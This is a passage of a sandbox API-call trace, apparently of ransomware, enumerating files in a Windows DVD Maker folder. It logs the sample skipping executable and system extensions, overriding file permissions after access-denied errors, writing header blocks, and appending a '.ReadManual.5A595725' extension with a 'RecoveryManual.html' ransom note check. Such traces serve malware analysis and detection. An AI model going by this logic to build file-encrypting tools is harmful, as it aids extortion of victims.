dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12b9) returned 0x2f0000 [0258.274] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.274] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37894264963) returned 1 [0258.274] CloseHandle (hObject=0x1a0) returned 1 [0258.274] SetSecurityInfo () returned 0x5 [0258.274] SetSecurityInfo () returned 0x5 [0258.274] LocalFree (hMem=0x674d38) returned 0x0 [0258.274] CloseHandle (hObject=0x184) returned 1 [0258.275] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0258.275] lstrcpyW (in: lpString1=0x6ab90a, lpString2="passport_mask_right.png" | out: lpString1="passport_mask_right.png") returned="passport_mask_right.png" [0258.275] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="RecoveryManual.html") returned -1 [0258.275] StrStrIW (lpFirst="passport_mask_right.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.275] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.275] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.275] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.275] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.275] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.275] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.275] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" [0258.275] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.ReadManual.5A595725" [0258.275] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.ReadManual.5A595725") returned 98 [0258.275] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37894422474) returned 1 [0258.276] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png")) returned 0x20 [0258.276] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.276] GetLastError () returned 0x5 [0258.276] GetNamedSecurityInfoW () returned 0x0 [0258.277] SetNamedSecurityInfoW () returned 0x0 [0258.277] SetNamedSecurityInfoW () returned 0x0 [0258.278] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.278] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4813) returned 1 [0258.278] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12cd, lpName=0x0) returned 0x1a0 [0258.278] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0258.280] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.280] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.281] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.282] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12cd) returned 0x2f0000 [0258.282] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.282] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37895068777) returned 1 [0258.282] CloseHandle (hObject=0x1a0) returned 1 [0258.282] SetSecurityInfo () returned 0x5 [0258.282] SetSecurityInfo () returned 0x5 [0258.282] LocalFree (hMem=0x674d38) returned 0x0 [0258.282] CloseHandle (hObject=0x184) returned 1 [0258.282] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0258.282] lstrcpyW (in: lpString1=0x6ab90a, lpString2="Passport_PAL.wmv" | out: lpString1="Passport_PAL.wmv") returned="Passport_PAL.wmv" [0258.282] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0258.282] StrStrIW (lpFirst="Passport_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.282] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.282] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.282] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0258.282] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0258.283] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0258.283] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" [0258.283] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.ReadManual.5A595725" [0258.283] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.ReadManual.5A595725") returned 91 [0258.283] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37895165977) returned 1 [0258.283] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv")) returned 0x20 [0258.283] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.283] GetLastError () returned 0x5 [0258.283] GetNamedSecurityInfoW () returned 0x0 [0258.283] SetNamedSecurityInfoW () returned 0x0 [0258.284] SetNamedSecurityInfoW () returned 0x0 [0258.284] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.285] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=109292) returned 1 [0258.285] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1aaec, lpName=0x0) returned 0x1a0 [0258.285] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0258.285] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.285] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.287] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.288] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1aaec) returned 0x1de0000 [0258.290] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0258.291] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37895982353) returned 1 [0258.291] CloseHandle (hObject=0x1a0) returned 1 [0258.291] SetSecurityInfo () returned 0x5 [0258.291] SetSecurityInfo () returned 0x5 [0258.291] LocalFree (hMem=0x674d38) returned 0x0 [0258.291] CloseHandle (hObject=0x184) returned 1 [0258.291] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0258.291] lstrcpyW (in: lpString1=0x6ab90a, lpString2="play-background.png" | out: lpString1="play-background.png") returned="play-background.png" [0258.291] lstrcmpiW (lpString1="play-background.png", lpString2="RecoveryManual.html") returned -1 [0258.291] StrStrIW (lpFirst="play-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.292] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.292] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.292] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.292] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.292] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.292] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.292] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" [0258.292] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.ReadManual.5A595725" [0258.292] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.ReadManual.5A595725") returned 94 [0258.292] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37896076378) returned 1 [0258.292] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png")) returned 0x20 [0258.292] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.292] GetLastError () returned 0x5 [0258.292] GetNamedSecurityInfoW () returned 0x0 [0258.293] SetNamedSecurityInfoW () returned 0x0 [0258.293] SetNamedSecurityInfoW () returned 0x0 [0258.294] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.294] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=99127) returned 1 [0258.294] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18337, lpName=0x0) returned 0x1a0 [0258.294] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0258.294] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.294] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.297] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.297] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18337) returned 0x1de0000 [0258.300] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0258.300] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37896884905) returned 1 [0258.300] CloseHandle (hObject=0x1a0) returned 1 [0258.300] SetSecurityInfo () returned 0x5 [0258.300] SetSecurityInfo () returned 0x5 [0258.300] LocalFree (hMem=0x674d38) returned 0x0 [0258.300] CloseHandle (hObject=0x184) returned 1 [0258.300] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0258.300] lstrcpyW (in: lpString1=0x6ab90a, lpString2="selection_subpicture.png" | out: lpString1="selection_subpicture.png") returned="selection_subpicture.png" [0258.300] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="RecoveryManual.html") returned 1 [0258.301] StrStrIW (lpFirst="selection_subpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.301] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.301] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.301] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.301] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.301] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.301] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.301] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" [0258.301] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.ReadManual.5A595725" [0258.301] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.ReadManual.5A595725") returned 99 [0258.301] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37896984097) returned 1 [0258.301] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png")) returned 0x20 [0258.301] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.301] GetLastError () returned 0x5 [0258.301] GetNamedSecurityInfoW () returned 0x0 [0258.302] SetNamedSecurityInfoW () returned 0x0 [0258.302] SetNamedSecurityInfoW () returned 0x0 [0258.303] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.303] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3057) returned 1 [0258.303] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf1, lpName=0x0) returned 0x1a0 [0258.303] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0258.303] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.304] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.305] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.305] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf1) returned 0x2f0000 [0258.305] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.305] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37897422255) returned 1 [0258.305] CloseHandle (hObject=0x1a0) returned 1 [0258.306] SetSecurityInfo () returned 0x5 [0258.306] SetSecurityInfo () returned 0x5 [0258.306] LocalFree (hMem=0x674d38) returned 0x0 [0258.306] CloseHandle (hObject=0x184) returned 1 [0258.306] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0258.306] lstrcpyW (in: lpString1=0x6ab90a, lpString2="travel.png" | out: lpString1="travel.png") returned="travel.png" [0258.306] lstrcmpiW (lpString1="travel.png", lpString2="RecoveryManual.html") returned 1 [0258.306] StrStrIW (lpFirst="travel.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.306] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.306] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.306] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.306] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.306] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.306] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.306] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" [0258.306] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.ReadManual.5A595725" [0258.306] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.ReadManual.5A595725") returned 85 [0258.306] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37897517644) returned 1 [0258.306] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png")) returned 0x20 [0258.307] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.307] GetLastError () returned 0x5 [0258.307] GetNamedSecurityInfoW () returned 0x0 [0258.308] SetNamedSecurityInfoW () returned 0x0 [0258.308] SetNamedSecurityInfoW () returned 0x0 [0258.309] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, 